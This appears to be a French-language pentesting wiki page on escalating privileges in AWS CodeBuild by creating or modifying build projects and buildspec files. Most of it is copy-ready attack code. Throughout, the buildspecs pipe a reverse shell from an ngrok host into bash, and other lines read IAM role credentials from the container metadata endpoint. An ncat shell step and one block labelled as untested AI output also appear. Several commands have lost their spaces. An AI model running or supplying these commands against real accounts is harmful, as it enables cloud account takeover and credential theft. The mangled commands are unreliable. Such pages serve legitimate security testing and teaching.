Un attaquant avec les autorisations iam:PassRole, codebuild:CreateProject, et codebuild:StartBuild ou codebuild:StartBuildBatch serait en mesure de élever les privilèges vers n'importe quel rôle IAM codebuild en en créant un en cours d'exécution.
# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"JSON="{\"name\": \"codebuild-demo-project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"REV_PATH="/tmp/rev.json"printf"$JSON"> $REV_PATH# Create projectawscodebuildcreate-project--cli-input-jsonfile://$REV_PATH# Build itawscodebuildstart-build--project-namecodebuild-demo-project# Wait 3-4 mins until it's executed# Then you can access the logs in the console to find the AWS role token in the output# Delete the projectawscodebuilddelete-project--namecodebuild-demo-project
# Generated by AI, not tested# Create a buildspec.yml file with reverse shell commandecho'version: 0.2phases:build:commands:- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash'>buildspec.yml# Upload the buildspec to the bucket and give access to everyoneawss3cpbuildspec.ymls3:<S3_BUCKET_NAME>/buildspec.yml# Create a new CodeBuild project with the buildspec.yml fileaws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new projectawscodebuildstart-build--project-namereverse-shell-project
Impact potentiel : Élévation de privilèges directe vers n'importe quel rôle AWS Codebuild.
Dans un conteneur Codebuild, le fichier /codebuild/output/tmp/env.sh contient toutes les variables d'environnement nécessaires pour accéder aux informations d'identification de métadonnées.
Ce fichier contient la variable d'environnement AWS_CONTAINER_CREDENTIALS_RELATIVE_URI qui contient le chemin d'URL pour accéder aux informations d'identification. Il ressemblera à ceci /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Ajoutez cela à l'URL http://169.254.170.2/ et vous pourrez extraire les informations d'identification du rôle.
De plus, il contient également la variable d'environnement ECS_CONTAINER_METADATA_URI qui contient l'URL complet pour obtenir des informations de métadonnées sur le conteneur.
Tout comme dans la section précédente, si au lieu de créer un projet de construction vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Impact potentiel : Élévation de privilèges directe vers n'importe quel rôle AWS CodeBuild.
Tout comme dans la section précédente mais sans l'autorisation iam:PassRole, vous pouvez abuser de ces autorisations pour modifier les projets CodeBuild existants et accéder au rôle qui leur est déjà assigné.
REV_PATH="/tmp/codebuild_pwn.json"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"codebuild_lab_3_project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"printf"$JSON"> $REV_PATH# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!awscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build-batch--project-namecodebuild-demo-project
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"JSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Impact potentiel : Élévation de privilèges directe vers les rôles AWS CodeBuild attachés.
SSM
En ayant suffisamment de permissions pour démarrer une session SSM, il est possible d'accéder à l'intérieur d'un projet CodeBuild en cours de construction.
Le projet CodeBuild devra avoir un point d'arrêt :
Un attaquant capable de démarrer/redémarrer une construction d'un projet CodeBuild spécifique qui stocke son fichier buildspec.yml sur un bucket S3 auquel l'attaquant a un accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
Remarque : l'escalade est pertinente uniquement si le worker CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
awss3cps3://<build-configuration-files-bucket>/buildspec.yml./vim./buildspec.yml# Add the following lines in the "phases > pre_builds > commands" section## - apt-get install nmap -y# - ncat <IP> <PORT> -e /bin/shawss3cp./buildspec.ymls3://<build-configuration-files-bucket>/buildspec.ymlawscodebuildstart-build--project-name<project-name># Wait for the reverse shell :)
Vous pouvez utiliser quelque chose comme ceci builspec pour obtenir un shell inversé:
Impact: Privilège direct pour le rôle utilisé par le travailleur AWS CodeBuild qui a généralement des privilèges élevés.
Notez que le buildspec pourrait être attendu au format zip, donc un attaquant devrait le télécharger, le dézipper, modifier le buildspec.yml à partir du répertoire racine, le zipper à nouveau et le téléverser.